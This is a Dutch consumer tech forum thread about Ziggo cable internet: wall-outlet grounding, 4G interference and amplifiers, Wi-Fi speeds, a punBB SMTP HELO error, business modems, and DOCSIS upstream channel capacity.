• Wailing_Banshee
  • Registratie: November 2002
  • Laatst online: 08:36

Wailing_Banshee

You're Next

Jerrythafast schreef op woensdag 08 april 2015 @ 21:13:
<heel verhaal>

Verder kun je op de TP-link exact dezelfde WiFi instellingen (SSID + security settings) gebruiken zodat je apparaten kunnen roamen wanneer je door je huis wandelt. Wat je alleen niet hetzelfde moet instellen is het WiFi-kanaal.
Ja, zo hebben wij het thuis ook ingesteld. We hadden nog een oude router liggen, en hebben die aangesloten. Hij is maar 100Mbit, maar dat maakt niet zoveel uit. Als ik iets groots wil downloaden doe ik dat toch via een PC die wel op Gigabit zit.

Thousands of years ago, cats were worshipped as Gods. Cats have never forgotten this.


  • Gogol
  • Registratie: Juni 2001
  • Laatst online: 12-12 18:46
DaveD1109 schreef op donderdag 09 april 2015 @ 07:32:
Bij mij is een aantal weken terug ziggo geïnstalleerd door een monteur. Hij heeft een nieuwe wandcontactdoos geïnstalleerd, echter als ik een connector aanraak daarvan dan voel ik dat daar aardig wat spanning op staat. Horen die dingen niet geaard te worden? Heb namelijk nog dat groen/gele kabeltje liggen die bij het installatiepakket zat.
Het is wel beter om te aarden. De spanning kan weg en je krijgt een beter signaal (correctables, uncorrectables gaat omlaag)

  • DaveD1109
  • Registratie: December 2004
  • Laatst online: 09-11 13:38
Gogol schreef op donderdag 09 april 2015 @ 08:16:
[...]

Het is wel beter om te aarden. De spanning kan weg en je krijgt een beter signaal (correctables, uncorrectables gaat omlaag)
Dan ga ik er zelf maar ff naar kijken zo. Normaal installeerde ik zelf en liet het nu doen omdat het gratis was. Gratizzz niet altijd goed!! 8)

Edit: Zie net ook dat die monteur het schroefje waarmee je de groene kabel in de wandcontactdoos klemt heeft doorgedraaid. De kabel zit er dus niet vast in. Ga nu maar een nieuwe wandcontactdoos bestellen, maar welke is het beste??
Heb al 4g storingsvrije bekabeling liggen van hirschman dus wil nu ook een goede wandcontactdoos.

[ Voor 30% gewijzigd door DaveD1109 op 09-04-2015 09:25 ]

DaveD


  • Koekenbakkertje
  • Registratie: Januari 2015
  • Laatst online: 11-03 20:36
Ziggo bellen (momenteel niet te doen) of via webcare om een nieuwe dio vragen? Die krijg je zo toegezonden en dan is hij gratis

[ Voor 17% gewijzigd door Koekenbakkertje op 09-04-2015 09:29 ]


  • Masimo
  • Registratie: Maart 2005
  • Laatst online: 08:08
DaveD1109 schreef op donderdag 09 april 2015 @ 07:32:
Bij mij is een aantal weken terug ziggo geïnstalleerd door een monteur. Hij heeft een nieuwe wandcontactdoos geïnstalleerd, echter als ik een connector aanraak daarvan dan voel ik dat daar aardig wat spanning op staat. Horen die dingen niet geaard te worden? Heb namelijk nog dat groen/gele kabeltje liggen die bij het installatiepakket zat.
Aarding wordt alleen toegepast op AOP's die in de meterkast zitten. Het hoeft niet voor AOP's die in de woonkamer zitten. Je kan wel zelf aarden, maar dan moet je wel de mogelijkheid hebben.
Over het hoe en waaraan bestaan veel discussies. In principe wordt een "schone" aarde voorgeschreven. Dat zou betekenen dat je het AOP aan een eigen aardpin moet leggen.

  • Masimo
  • Registratie: Maart 2005
  • Laatst online: 08:08
DaveD1109 schreef op donderdag 09 april 2015 @ 08:39:
[...]


Dan ga ik er zelf maar ff naar kijken zo. Normaal installeerde ik zelf en liet het nu doen omdat het gratis was. Gratizzz niet altijd goed!! 8)

Edit: Zie net ook dat die monteur het schroefje waarmee je de groene kabel in de wandcontactdoos klemt heeft doorgedraaid. De kabel zit er dus niet vast in. Ga nu maar een nieuwe wandcontactdoos bestellen, maar welke is het beste??
Heb al 4g storingsvrije bekabeling liggen van hirschman dus wil nu ook een goede wandcontactdoos.
Hirschmann / Technetix DIO-01 is de standaard. Goed afgeschermd tegen 4G instraling.

Niet zelf kopen, maar Ziggo bellen, dan sturen ze hem op.
Je krijgt dan normaalgesproken de combi DIO-01 met UMU1006/T verdeler. Of nogmaals monteur laten komen en hem de nieuwe doos laten installeren.

  • HellBeast
  • Registratie: Oktober 2002
  • Laatst online: 12:15

HellBeast

Oh My GoT!

Heeft iemand ervaringen met het nieuwe Technicolor TC7210 modem en Wake over Internet? Ik krijg het maar niet aan de praat. Netjes UDP 9 gebruikt. Wanneer ik het magic packet stuur als de PC aanstaat, dan zie ik dat hij binnenkomt. Als hij uitstaat, dan gaat hij niet aan.

Bij mijn vorige modem (Arris) werkte dit altijd perfect..

Beauty is in the eye of the beerholder


  • DaveD1109
  • Registratie: December 2004
  • Laatst online: 09-11 13:38
Masimo schreef op donderdag 09 april 2015 @ 13:13:
[...]

Hirschmann / Technetix DIO-01 is de standaard. Goed afgeschermd tegen 4G instraling.

Niet zelf kopen, maar Ziggo bellen, dan sturen ze hem op.
Je krijgt dan normaalgesproken de combi DIO-01 met UMU1006/T verdeler. Of nogmaals monteur laten komen en hem de nieuwe doos laten installeren.
Oke top!!

DaveD


  • Pazzie
  • Registratie: Januari 2011
  • Laatst online: 09-11 13:42
menalert schreef op dinsdag 24 maart 2015 @ 20:54:
Die FRA-752 dus gratis van ziggo ontvangen vorige week na een telefoontje.
Mag ik misschien vragen hoe je dit voor elkaar hebt gekregen?

Ik ben een nieuwe klant bij Ziggo. Vorige week is bij mij de monteur langs geweest om alles te installeren. Gisteren werd ik door een medewerker van Ziggo gebeld, welke vroeg hoe de installatie verlopen was. Ik heb toen gevraagd of ik ook in aanmerking zou kunnen komen voor zo'n versterker. De desbetreffende medewerker heeft hier toen een aantekening van gemaakt en gezegd dat ik vandaag met de klantenservice contact op moest nemen om te vragen of dit mogelijk was.

Toen ik vandaag belde, werd ik na het uitleggen van mijn verhaal doorverbonden met een andere medewerker. Deze vertelde mij, na mijn verhaal aangehoord te hebben, dat ze mij door zou verbinden met een afdeling, welke mij de versterker zou toesturen. De medewerker van deze afdeling gaf echter weer aan dat de vorige medewerker welke ik gesproken had verkeerd had gecommuniceerd en dat ze deze versterkers alleen toesturen naar gebruikers van een bepaalde ontvanger (ik vermoed dat ze de interactieve ontvanger van Cisco bedoelen) en dat deze ontvangers niet meer uitgegeven worden.

Bij mijn ouders is in het verleden een keer een monteur langs geweest. Deze vertelde mij destijds dat ik bij vragen en problemen het beste bij een Ziggo Studio langs kan gaan. Ik dacht, laat ik daar eens heen gaan, om te vragen hoe dat precies zit met die versterker en waarom ik via de telefoon tegenstrijdige berichten te horen krijg. Toen ik bij de Ziggo Studio aan kwam was deze echter gesloten, terwijl dit niet op de website aangegeven was.

Al met al heb ik dus nog niet zulke goede ervaringen als klant van Ziggo. Wel vond ik het netjes dat ik na de installatie nog even gebeld werd met de vraag hoe deze installatie verlopen was.
Ik zit met het volgende en heb even geen idee waar ik moet beginnen al heeft het niet echt iets met ziggo te maken ;)

Ik heb hier al jaren een dlink dir-655 staan voor mij wifi.
Echter is mijn verbinding met de wifi niet echt vlot.

Ik haal max 51mb terwijl het volgens de specs een doorvoer moet hebben van 130mb.

Iemand een idee waar ik het probleem zou moeten zoeken?
Mijn router heb ik ingesteld dat de apparaten die een wifi-n hebben alleen verbinding mogen maken.

Het heeft niet zozeer met ziggo te maken, maar wist even niet behalve evt een nieuw topic te maken waar ik moest beginnen.

Ik heb op dit moment ziggo 200/20

2250 WP Zuid PVoutput


Verwijderd

Hoi,

Probleempje, sinds kort kan m'n punbb forum geen email versturen, ik kon altijd simpel smtp.ziggo.nl opgeven en werkte prima.
Nu krijg ik: 550 Bad HELO: smtp.ziggo.nl must be you
Zal wel een authenticatie fout zijn. Vroeger ging dat dacht ik puur op ip. Is dit weer iets van de overname en wat kan ik het best doen?

Alvast bedankt.
Verwijderd schreef op vrijdag 10 april 2015 @ 17:26:
Hoi,

Probleempje, sinds kort kan m'n punbb forum geen email versturen, ik kon altijd simpel smtp.ziggo.nl opgeven en werkte prima.
Nu krijg ik: 550 Bad HELO: smtp.ziggo.nl must be you
Zal wel een authenticatie fout zijn. Vroeger ging dat dacht ik puur op ip. Is dit weer iets van de overname en wat kan ik het best doen?

Alvast bedankt.
Kan je een gebruikersnaam <emailadres> en wachtwoord opgeven ?
Zo ja, dan moet je dit even invullen

2250 WP Zuid PVoutput


Verwijderd

Heb ik het goed begrepen dat er aanstaande maandag nieuwe abonnementen worden geïntroduceerd?

  • MediaZoo
  • Registratie: Augustus 2001
  • Laatst online: 12:06
Pazzie schreef op vrijdag 10 april 2015 @ 16:49:
[...]


Mag ik misschien vragen hoe je dit voor elkaar hebt gekregen?

Ik ben een nieuwe klant bij Ziggo. Vorige week is bij mij de monteur langs geweest om alles te installeren. Gisteren werd ik door een medewerker van Ziggo gebeld, welke vroeg hoe de installatie verlopen was. Ik heb toen gevraagd of ik ook in aanmerking zou kunnen komen voor zo'n versterker. De desbetreffende medewerker heeft hier toen een aantekening van gemaakt en gezegd dat ik vandaag met de klantenservice contact op moest nemen om te vragen of dit mogelijk was.

Toen ik vandaag belde, werd ik na het uitleggen van mijn verhaal doorverbonden met een andere medewerker. Deze vertelde mij, na mijn verhaal aangehoord te hebben, dat ze mij door zou verbinden met een afdeling, welke mij de versterker zou toesturen. De medewerker van deze afdeling gaf echter weer aan dat de vorige medewerker welke ik gesproken had verkeerd had gecommuniceerd en dat ze deze versterkers alleen toesturen naar gebruikers van een bepaalde ontvanger (ik vermoed dat ze de interactieve ontvanger van Cisco bedoelen) en dat deze ontvangers niet meer uitgegeven worden.

Bij mijn ouders is in het verleden een keer een monteur langs geweest. Deze vertelde mij destijds dat ik bij vragen en problemen het beste bij een Ziggo Studio langs kan gaan. Ik dacht, laat ik daar eens heen gaan, om te vragen hoe dat precies zit met die versterker en waarom ik via de telefoon tegenstrijdige berichten te horen krijg. Toen ik bij de Ziggo Studio aan kwam was deze echter gesloten, terwijl dit niet op de website aangegeven was.

Al met al heb ik dus nog niet zulke goede ervaringen als klant van Ziggo. Wel vond ik het netjes dat ik na de installatie nog even gebeld werd met de vraag hoe deze installatie verlopen was.
Waarom een nieuwe versterker? Hij heeft het neem ik aan toch werkend achter gelaten?

  • hcQd
  • Registratie: September 2009
  • Laatst online: 08:40
Verwijderd schreef op vrijdag 10 april 2015 @ 17:26:
Nu krijg ik: 550 Bad HELO: smtp.ziggo.nl must be you
Er is iets in de HELO (of mogelijk EHLO) waar de server over valt. Logische vraag, hoe ziet die HELO er precies uit?

  • Pazzie
  • Registratie: Januari 2011
  • Laatst online: 09-11 13:42
MediaZoo schreef op vrijdag 10 april 2015 @ 18:01:
[...]


Waarom een nieuwe versterker? Hij heeft het neem ik aan toch werkend achter gelaten?
Er moet momenteel nog het een en ander aan het appartement gebeuren. Ik heb hier twee weken geleden de sleutels van ontvangen. Er staan nog geen meubels in en er is veel stof aanwezig. Voor de installatie heb ik in het appartement tijdelijk één televisie geplaatst en deze werkte inderdaad na de installatie ook (met een coaxkabel van een meter).

Uiteindelijk worden er meerdere televisies aangesloten en moet het signaal dus gesplitst worden. Ook is de afstand dan langer dan een meter.

Bij mijn ouders zijn er veel problemen geweest met de ontvangst van National Geographic en zenders van dezelfde eigenaar. Dit omdat er in de buurt 4G-masten geplaatst waren. Er is een monteur langsgeweest en deze gaf aan dat het signaal bij het AOP (welke in de huiskamer gesitueerd is) wel goed was, maar dat de 4G-masten vermoedelijk de verstoringen veroorzaakten. De kabels waren/zijn wel van goede kwaliteit (Hirschman KOKA 799, Kabel Keur Certified). De monteur adviseerde daarom om een versterker aan te schaffen, wat inderdaad tegen de verstoringen hielp.

Omdat het appartement op nog geen kilometer afstand bij mijn ouders vandaag ligt (met de 4G-masten daar tussen), leek het mij verstandig om KOKA 9 TS kabels aan te gaan leggen en om dan ook maar gelijk een versterker aan te sluiten.

Ik heb de website van UPC (Ook Liberty Global) bekeken en daar wordt ook vermeld:
- "Wilt u meer dan 2 tv-toestellen aansluiten, of gebruikt u in totaal meer dan 15 meter coaxkabel? Dan gebruikt u een versterker."

Ook staat er in de handleiding van de FRA-752 (https://www.upc.nl/pdf/upc-handleiding-versterker-fra752.pdf) bijvoorbeeld:
" Heeft u alle digitale diensten
van UPC en maakt u gebruik van meerdere tv’s, dan adviseren we u het signaal te versterken voor beter beeld en geluid.".

Verder heb ik gelezen dat er na het gebruik van de nieuwe frequenties alleen maar meer klachten m.b.t. tot de 4G-masten zijn gekomen.

  • MediaZoo
  • Registratie: Augustus 2001
  • Laatst online: 12:06
Pazzie schreef op vrijdag 10 april 2015 @ 18:46:
[...]


Er moet momenteel nog het een en ander aan het appartement gebeuren. Ik heb hier twee weken geleden de sleutels van ontvangen. Er staan nog geen meubels in en er is veel stof aanwezig. Voor de installatie heb ik in het appartement tijdelijk één televisie geplaatst en deze werkte inderdaad na de installatie ook (met een coaxkabel van een meter).

Uiteindelijk worden er meerdere televisies aangesloten en moet het signaal dus gesplitst worden. Ook is de afstand dan langer dan een meter.

Bij mijn ouders zijn er veel problemen geweest met de ontvangst van National Geographic en zenders van dezelfde eigenaar. Dit omdat er in de buurt 4G-masten geplaatst waren. Er is een monteur langsgeweest en deze gaf aan dat het signaal bij het AOP (welke in de huiskamer gesitueerd is) wel goed was, maar dat de 4G-masten vermoedelijk de verstoringen veroorzaakten. De kabels waren/zijn wel van goede kwaliteit (Hirschman KOKA 799, Kabel Keur Certified). De monteur adviseerde daarom om een versterker aan te schaffen, wat inderdaad tegen de verstoringen hielp.

Omdat het appartement op nog geen kilometer afstand bij mijn ouders vandaag ligt (met de 4G-masten daar tussen), leek het mij verstandig om KOKA 9 TS kabels aan te leggen en om dan ook maar gelijk een versterker aan te sluiten.

Ik heb de website van UPC (Ook Liberty Global) bekeken en daar wordt ook vermeld:
- "Wilt u meer dan 2 tv-toestellen aansluiten, of gebruikt u in totaal meer dan 15 meter coaxkabel? Dan gebruikt u een versterker."

Ook staat er in de handleiding van de FRA-752 (https://www.upc.nl/pdf/upc-handleiding-versterker-fra752.pdf) bijvoorbeeld:
" Heeft u alle digitale diensten
van UPC en maakt u gebruik van meerdere tv’s, dan adviseren we u het signaal te versterken voor beter beeld en geluid.".

Verder heb ik gelezen dat er na het gebruik van de nieuwe frequenties alleen maar meer klachten m.b.t. tot de 4G-masten zijn gekomen.
Een versterker zal nooit storing door een 4G mast oplossen. Hoogstens verergeren.

Interferentie door 4G,Digitenne,enz voorkom je met goede spullen. KOKA799 en KOKA 9TS zijn hiervoor op dit moment voldoende. Als de monteur beweert dat een versterker problemen door 4G voorkomt, ontstaat er bij mij twijfel over zijn kunde.

De reden die aangehaald wordt met meerdere aansluitingen in huis. Dan is het een logisch een versterker te gebruiken. Dat is ook zeer zeker een goed advies.

Verwijderd

MdO82 schreef op vrijdag 10 april 2015 @ 17:29:
[...]
Kan je een gebruikersnaam <emailadres> en wachtwoord opgeven ?
Zo ja, dan moet je dit even invullen
Heb ik geprobeerd maar krijg dezelfde melding.
Er is iets in de HELO (of mogelijk EHLO) waar de server over valt. Logische vraag, hoe ziet die HELO er precies uit?
Goeie vraag. Hoe krijg ik die te pakken? Forum in debug mode zetten had ik niks aan bv. Log file ergens?

  • Pazzie
  • Registratie: Januari 2011
  • Laatst online: 09-11 13:42
MediaZoo schreef op vrijdag 10 april 2015 @ 18:53:
[...]


Een versterker zal nooit storing door een 4G mast oplossen. Hoogstens verergeren.

Interferentie door 4G,Digitenne,enz voorkom je met goede spullen. KOKA799 en KOKA 9TS zijn hiervoor op dit moment voldoende. Als de monteur beweert dat een versterker problemen door 4G voorkomt, ontstaat er bij mij twijfel over zijn kunde.

De reden die aangehaald wordt met meerdere aansluitingen in huis. Dan is het een logisch een versterker te gebruiken. Dat is ook zeer zeker een goed advies.
Bedankt voor je reactie.

Bij mijn ouders zijn ook meerdere aansluitingen aanwezig in huis. In plaats van de versterker, waren er op dat moment splitters aanwezig van waarschijnlijk een minder goede kwaliteit. Het advies van de monteur kan ik daarom wel begrijpen en heeft ook het probleem opgelost.

Op jouw website lees ik ook bij een splitter: "Wilt u kabels langer dan 5 meter gebruiken? Dan raden wij u aan een versterker te gebruiken.".

Mijn conclusie is dus dat ik nog steeds een versterker nodig heb, maar dat ik deze zelf mag gaan bekostigen. Daarom was ik benieuwd waarom het menalert wel gelukt was om met een telefoontje naar Ziggo een gratis versterker te ontvangen en vind ik het jammer dat mij deze eerst wel toegezegd was, maar dat er later verteld werd dat deze alleen bij een bepaalde ontvanger verstrekt werden.

Verder niet zo'n heel groot probleem. Dan schaf ik er zelf wel één aan (er staan er ook veel op Marktplaats las ik in dit topic). Ik zal in ieder geval jouw website even onthouden, m.b.t. de kabels en connectoren ;) .

  • hcQd
  • Registratie: September 2009
  • Laatst online: 08:40
Verwijderd schreef op vrijdag 10 april 2015 @ 19:52:
Goeie vraag. Hoe krijg ik die te pakken? Forum in debug mode zetten had ik niks aan bv. Log file ergens?
Even gezocht in de broncode. punBB stuurt een HELO met als argument de server waar hij mee verbindt: dus HELO smtp.ziggo.nl. Dat is natuurlijk niet de bedoeling, want in de HELO stel je jezelf voor. Je zult wat moeten aanpassen in include/email.php zodat hij wat anders meegeeft, maakt niet uit wat als het maar geen smtp.ziggo.nl is.

  • Masimo
  • Registratie: Maart 2005
  • Laatst online: 08:08
MdO82 schreef op vrijdag 10 april 2015 @ 17:15:
Ik zit met het volgende en heb even geen idee waar ik moet beginnen al heeft het niet echt iets met ziggo te maken ;)

Ik heb hier al jaren een dlink dir-655 staan voor mij wifi.
Echter is mijn verbinding met de wifi niet echt vlot.

Ik haal max 51mb terwijl het volgens de specs een doorvoer moet hebben van 130mb.

Iemand een idee waar ik het probleem zou moeten zoeken?
Mijn router heb ik ingesteld dat de apparaten die een wifi-n hebben alleen verbinding mogen maken.

Het heeft niet zozeer met ziggo te maken, maar wist even niet behalve evt een nieuw topic te maken waar ik moest beginnen.

Ik heb op dit moment ziggo 200/20
De uiteindelijke doorvoer snelheid hangt van vele factoren af. Een aantal belangrijke:
  • Bouwmaterialen
  • Plaatsing van de router
  • Naburige netwerken op de 2,4GHz frequentieband
  • Wifi-adapters van de ontvangende apparaten
Er zijn al talloze topics over volgeschreven, dus voorlopig heb je genoeg te lezen.
Met wifi-n ga je de 200 Mbps sowieso nooit halen. 90-100 Mbps is de max.
Je DLink DIR 655 doet maximaal 75 Mbps onder ideale omstandigheden (Bron: Smallnetbuilder)

[ Voor 6% gewijzigd door Masimo op 10-04-2015 21:00 ]


Verwijderd

Tof van je.

Wel vreemd want ik heb in punbb altijd alleen maar smtp.ziggo.nl als server adres hoeven op te geven.
De error komt trouwens van de function server_parse($socket, $expected_response)

Ik kan me niet herinneren dat ik iets heb aangepast ofzo dus ik tast nog even in het duister. Morgen nog maar eens kijken.
hcQd schreef op vrijdag 10 april 2015 @ 20:08:
[...]


Even gezocht in de broncode. punBB stuurt een HELO met als argument de server waar hij mee verbindt: dus HELO smtp.ziggo.nl. Dat is natuurlijk niet de bedoeling, want in de HELO stel je jezelf voor. Je zult wat moeten aanpassen in include/email.php zodat hij wat anders meegeeft, maakt niet uit wat als het maar geen smtp.ziggo.nl is.
Masimo schreef op vrijdag 10 april 2015 @ 20:57:
[...]

De uiteindelijke doorvoer snelheid hangt van vele factoren af. Een aantal belangrijke:
  • Bouwmaterialen
  • Plaatsing van de router
  • Naburige netwerken op de 2,4GHz frequentieband
  • Wifi-adapters van de ontvangende apparaten
Er zijn al talloze topics over volgeschreven, dus voorlopig heb je genoeg te lezen.
Met wifi-n ga je de 200 Mbps sowieso nooit halen.
Je DLink DIR 655 doet maximaal 75 Mbps onder ideale omstandigheden (Bron: Smallnetbuilder)
Ik ga er eens verder in duiken.
Bedankt voor je reactie :)
Kan natuurlijk een 5ghz router halen, maar sommige apparaten kunnen dat nog niet aan.
Voorlopig blijft het zo.
En idd de max van 200 ga je inderdaad niet halen daar was ik mij al bewust van.

2250 WP Zuid PVoutput


  • nooberke
  • Registratie: Februari 2009
  • Laatst online: 12:54
MdO82 schreef op vrijdag 10 april 2015 @ 21:01:
[...]


Ik ga er eens verder in duiken.
Bedankt voor je reactie :)
Kan natuurlijk een 5ghz router halen, maar sommige apparaten kunnen dat nog niet aan.
Voorlopig blijft het zo.
En idd de max van 200 ga je inderdaad niet halen daar was ik mij al bewust van.
Daar is dan ook simultaneous dual band voor uit gevonden... 2.4&5 uit 1 apparaat

  • Jordyz
  • Registratie: Maart 2013
  • Laatst online: 14-12 11:08
Welke router krijgen klanten van Ziggo zakelijk eigenlijk?
Voorheen was het bij ziggo zakelijk altijd een ubee bridge modem en een juniper srx100.
Maar of er tegenwoordig nog een bridge modem beschikbaar is de huidige internetsnelheden aan kan weet ik niet.

[ Voor 63% gewijzigd door job op 11-04-2015 09:58 ]


  • Jordyz
  • Registratie: Maart 2013
  • Laatst online: 14-12 11:08
job schreef op zaterdag 11 april 2015 @ 09:53:
Voorheen was het bij ziggo zakelijk altijd een ubee bridge modem en een juniper srx100.
Maar of er tegenwoordig nog een bridge modem beschikbaar is de huidige internetsnelheden aan kan weet ik niet.
Bedankt! :)
Dat sloeg dan wel op het zakelijk plus abonnement (omdat je daar meerdere ip's bij krijgt), en de router die je krijgt is dichtgetimmerd.
Hoe zit/zat bij office basis weet ik niet.

Bel ze anders eens op. De helpdesk voor zakelijke klanten is veel openener met hun informatie dan de consumenten variant.

[ Voor 25% gewijzigd door job op 11-04-2015 10:09 ]


  • Jordyz
  • Registratie: Maart 2013
  • Laatst online: 14-12 11:08
job schreef op zaterdag 11 april 2015 @ 10:07:
Dat sloeg dan wel op het zakelijk plus abonnement (omdat je daar meerdere ip's bij krijgt), en de router die je krijgt is dichtgetimmerd.
Hoe zit/zat bij office basis weet ik niet.

Bel ze anders eens op. De helpdesk voor zakelijke klanten is veel openener met hun informatie dan de consumenten variant.
Ja ik heb de router al opgezocht en Ziggo ''bewaakt'' die router 24/7, daarom is deze helemaal dicht getimmerd zodat mensen er niet zelf erin gaan knoeien.

Heeft er iemand ook ervaring met die zakelijke router?
Verwar overigens niet een thuis router, met een zakelijke router zoals deze.
Elke poort op deze router geeft een wan ip.. en that's it. Je zult dus zelf moeten zorgen voor een firewall, of een nat-router om een intern netwerk aan te leggen.

Maar zoals ik ook eerder zei. Vraag na welk modem en router je krijgt bij het abonnement wat jij op het oog hebt. Bel gewoon met ziggo zakelijk voor meer informatie.

[ Voor 27% gewijzigd door job op 11-04-2015 11:25 ]


  • Jordyz
  • Registratie: Maart 2013
  • Laatst online: 14-12 11:08
job schreef op zaterdag 11 april 2015 @ 10:24:
Verwar overigens niet een thuis router, met een zakelijke router zoals deze.
Elke poort op deze router geeft een wan ip.. en that's it. Je zult dus zelf moeten zorgen voor een firewall, of een nat-router om een intern netwerk aan te leggen.

Maar zoals ik ook eerder zei. Vraag na welk modem en router je krijgt bij het abonnement wat jij op het oog hebt. Bel gewoon met ziggo zakelijk voor meer informatie.
Ja dat ga ik zeker doen, maar je krijgt ook zoziezo een Ubee/Cisco modem van Ziggo.
Ga er dan maar vanuit dat deze ubee/cisco als bridge staat ingesteld.

  • Timmert
  • Registratie: December 2000
  • Niet online

Timmert

Dipstick

job schreef op zaterdag 11 april 2015 @ 10:07:
Dat sloeg dan wel op het zakelijk plus abonnement (omdat je daar meerdere ip's bij krijgt), en de router die je krijgt is dichtgetimmerd.
Hoe zit/zat bij office basis weet ik niet.

Bel ze anders eens op. De helpdesk voor zakelijke klanten is veel openener met hun informatie dan de consumenten variant.
Office Basis klanten krijgen hetzelfde modem als bij een gewoon Alles-in-1 abonnement, namelijk een Cisco 3928, Ubee EVW321B of een Technicolor TC7210.

Office/Internet Plus klanten krijgen een Ubee of Cisco modem-only modem (EVM320B of EPC3008 uit mn hoofd), met hierachter een Juniper router.

  • tcviper
  • Registratie: April 2010
  • Laatst online: 10:43
Bij Internet plus Extra zakelijk zit geen Juniper, men dient zelf een eigen router te verzorgen achter het Cisco EPC3008 modem. Overigens kregen de Ziggo partners de informatie dat althans zakelijk de pakketten omgegooid gaan worden per Mei. Het hoogste word dalijk 500/40.

Geen idee waarom Ziggo nog steeds kiest voor 40 up, maar goed. Had liever een 200/100 gezien ipv 500/40.

[ Voor 16% gewijzigd door tcviper op 11-04-2015 12:56 ]

PSN: tcviper | Steam: Viper | TechConnect - MikeRedfields

tcviper schreef op zaterdag 11 april 2015 @ 12:55:
Bij Internet plus Extra zakelijk zit geen Juniper, men dient zelf een eigen router te verzorgen achter het Cisco EPC3008 modem. Overigens kregen de Ziggo partners de informatie dat althans zakelijk de pakketten omgegooid gaan worden per Mei. Het hoogste word dalijk 500/40.

Geen idee waarom Ziggo nog steeds kiest voor 40 up, maar goed. Had liever een 200/100 gezien ipv 500/40.
Zou de lage up niet gewoon komen door de bandbreedte die men er niet voor heeft ?
Zoals bij particuliere klanten hebben ze 8 kanalen voor de download en 4 voor de up.

Wellicht kunnen ze inderdaad 200/100 bieden maar hoe zit het dan met de kanalen.
Hebben ze geen 8 kanalen nodig voor de download ?

Zie overigens dat mijn Correctable en Uncorrectable FEC omhoog schieten hoor, geen idee wat er loos is :X

2250 WP Zuid PVoutput

tcviper schreef op zaterdag 11 april 2015 @ 12:55:
Geen idee waarom Ziggo nog steeds kiest voor 40 up, maar goed. Had liever een 200/100 gezien ipv 500/40.
Dat is toch niet zo moeilijk te bedenken? Ziggo heeft 4 upstream kanalen per coaxsegment die bij 64-QAM modulatie en een symbolrate van 5120 in theorie een capaciteit hebben van 28 Mbps. Gebundeld wordt dat dus in theorie een capaciteit van 4 * 28 Mbps = 112 Mbps. In theorie, want in tegenstelling tot de Internet downstream is er geen sprake van een constante data stream die door de modulator naar alle klanten in het coaxsegment worden gezonden. Door het gelijktijdig gebruik in een coaxsegment is er nogal wat aan administratieve overhead nodig om de zenders in de kabelmodems om de beurt te laten zenden waarbij ook andere modulatie types worden gebruik met een lagere capaciteit.
MdO82 schreef op zaterdag 11 april 2015 @ 13:17:
[...]
Zie overigens dat mijn Correctable en Uncorrectable FEC omhoog schieten hoor, geen idee wat er loos is :X
Een aanduiding dat je last hebt van signaal problemen.

  • tcviper
  • Registratie: April 2010
  • Laatst online: 10:43
ArChie schreef op zaterdag 11 april 2015 @ 13:33:
[...]

Dat is toch niet zo moeilijk te bedenken? Ziggo heeft 4 upstream kanalen per coaxsegment die bij 64-QAM modulatie en een symbolrate van 5120 in theorie een capaciteit hebben van 28 Mbps. Gebundeld wordt dat dus in theorie een capaciteit van 4 * 28 Mbps = 112 Mbps. In theorie, want in tegenstelling tot de Internet downstream is er geen sprake van een constante data stream die door de modulator naar alle klanten in het coaxsegment worden gezonden. Door het gelijktijdig gebruik in een coaxsegment is er nogal wat aan administratieve overhead nodig om de zenders in de kabelmodems om de beurt te laten zenden waarbij ook andere modulatie types worden gebruik met een lagere capaciteit.
Dat kan wel zo zijn maar een download boost van 200 -> 500 kost toch ook kanalen? Misschien dat ze dan die 4 upstream kanalen es moeten verhogen naar 8 of 16? :P Volgens Docsis 3.1 moet er tot een gig overheen kunnen gaan: nieuws: Docsis 3.1-modems met downstream van 4Gbit/s worden in 2015 verwacht

Docsis 3.1 ondersteunt downstream- en upstreamsnelheden van respectievelijk 10Gbit/s en 1Gbit/s.
Tijd dus om over te gaan daarop.

[ Voor 13% gewijzigd door tcviper op 11-04-2015 13:48 ]

PSN: tcviper | Steam: Viper | TechConnect - MikeRedfields

tcviper schreef op zaterdag 11 april 2015 @ 13:47:
Dat kan wel zo zijn maar een download boost van 200 -> 500 kost toch ook kanalen? Misschien dat ze dan die 4 upstream kanalen es moeten verhogen naar 8 of 16? :P
Voor de huidige EuroDOCSIS 3.0 standaard is het frequentie gebied van 5 tot 65 MHz beschikbaar voor upstream kanalen. Een upstream kanaal met een symbolrate van 5210 heeft een bandbreedte van 6.4 MHz, dus 60 gedeeld door 6.4 is maximaal 9 upstream kanalen. En volgens het TNO rapport dat uitgebracht is in opdracht van NLkabel, de branchvereniging van de Nederlandse kabelbedrijven, is de frequentieband van 5 tot 20 MHz eigenlijk niet bruikbaar vanwege ruis. Dus 45 gedeeld door 6.4 is maximaal 7 upstream kanalen.
Volgens Docsis 3.1 moet er tot een gig overheen kunnen gaan: nieuws: Docsis 3.1-modems met downstream van 4Gbit/s worden in 2015 verwacht

Docsis 3.1 ondersteunt downstream- en upstreamsnelheden van respectievelijk 10Gbit/s en 1Gbit/s.
Tijd dus om over te gaan daarop.
De implementatie van DOCSIS 3.1 vraagt iets meer moeite dan alleen maar roepen dat ze DOCSIS 3.1 gaan toepassen.

  • fsfikke
  • Registratie: Maart 2003
  • Niet online

fsfikke

* * * *

ArChie schreef op zaterdag 11 april 2015 @ 13:58:
[...]

Voor de huidige EuroDOCSIS 3.0 standaard is het frequentie gebied van 5 tot 65 MHz beschikbaar voor upstream kanalen.
[...]
Mooie uitleg! Maar hoe zit het dan voor de download? Hoe gaan ze daar van 200 naar 500. Ik neem aan dat ook niet een kwestie is van een paar kanalen aanzetten die ze jarenlang al hadden maar uit hadden staan :p

Zijn spaties in de aanbieding ofzo? www.spatiegebruik.nl

MdO82 schreef op zaterdag 11 april 2015 @ 14:08:
Zou ik inderdaad ook denken, maar heb verder nergens last van :D
Deze waarden zeggen iets over het foutvrij binnenkomen dan de DOCSIS data pakketjes. Als die niet te herstellen zijn, dan hangt het er maar vanaf welke DOCSIS pakketjes er geraakt worden. Zijn dat payload pakketjes met jouw TCP data dan zal er ongetwijfeld een resend volgen omdat je toepassing niet alles heeft binnen gekregen. Dat leidt wel tot meer onnodig capaciteitsgebruik in het coaxsegment. Vervelender wordt het als de geraakte DOCSIS pakketjes bijvoorbeeld de door de CMTS verzonden management request reponses bevatten die dan niet binnenkomen en je kabelmodem na een aantal retries besluit om een reset te gaan doen. Dit zie je aan oplopende T3/T4 waarden.
fsfikke schreef op zaterdag 11 april 2015 @ 14:03:

